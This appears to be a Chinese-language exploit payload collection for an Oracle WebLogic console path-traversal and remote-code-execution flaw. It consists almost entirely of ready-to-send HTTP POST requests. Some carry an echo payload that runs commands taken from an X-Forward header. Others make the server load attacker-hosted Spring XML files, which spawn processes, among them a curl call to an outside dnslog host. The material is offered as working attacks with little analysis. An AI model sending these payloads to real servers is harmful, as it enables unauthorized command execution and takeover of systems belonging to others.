回显版Payload 仅适合12.2.1.3 以上版本的weblogic

payload 1

  1. POST /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal HTTP/1.1
  2. Host: 192.168.23.119:7003
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  4. Content-Length: 1217
  5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  6. Content-Type: application/x-www-form-urlencoded
  7. X-Forward: whoami
  8. Accept-Encoding: gzip
  10. handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread+currentThread+%3d+(weblogic.work.ExecuteThread)Thread.currentThread()%3b+weblogic.work.WorkAdapter+adapter+%3d+currentThread.getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("X-Forward")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3bres.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3b}+currentThread.interrupt()%3b')

payload 2

  1. POST /console/images/%252e%252e/console.portal HTTP/1.1
  2. Host: 192.168.23.119:7003
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  4. Content-Length: 1188
  5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  6. Content-Type: application/x-www-form-urlencoded
  7. X-Forward: whoami
  8. Accept-Encoding: gzip
  10. _nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("X-Forward")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

无回显版Payload 需出网（通杀）

poc.xml
windows版本xml
  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2.   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3.     <constructor-arg>
  4.       <list>
  5.         <value>cmd.exe</value>
  6.         <value>/C</value>
  7.         <value><![CDATA[calc]]></value>
  8.       </list>
  9.     </constructor-arg>
  10.   </bean>
  11. </beans>
Linux版本xml
  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5.     <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6.         <constructor-arg>
  7.           <list>
  8.             <value>bash</value>
  9.             <value>-c</value>
  10.             <value><![CDATA[curl hupwac.dnslog.cn]]></value>
  11.           </list>
  12.         </constructor-arg>
  13.     </bean>
  14. </beans>

FileSystemXmlApplicationContext

  1. POST /console/images/%252e%252e/console.portal HTTP/1.1
  2. Host: 192.168.23.119:7003
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  4. Content-Length: 136
  5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  6. Content-Type: application/x-www-form-urlencoded
  7. Accept-Encoding: gzip
  9. _nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://公网IP:8080/poc.xml")

ClassPathXmlApplicationContext

  1. POST /console/images/%252e%252e/console.portal HTTP/1.1
  2. Host: 192.168.23.119:7003
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  4. Content-Length: 136
  5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  6. Content-Type: application/x-www-form-urlencoded
  7. Accept-Encoding: gzip
  9. _nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:8080/poc.xml")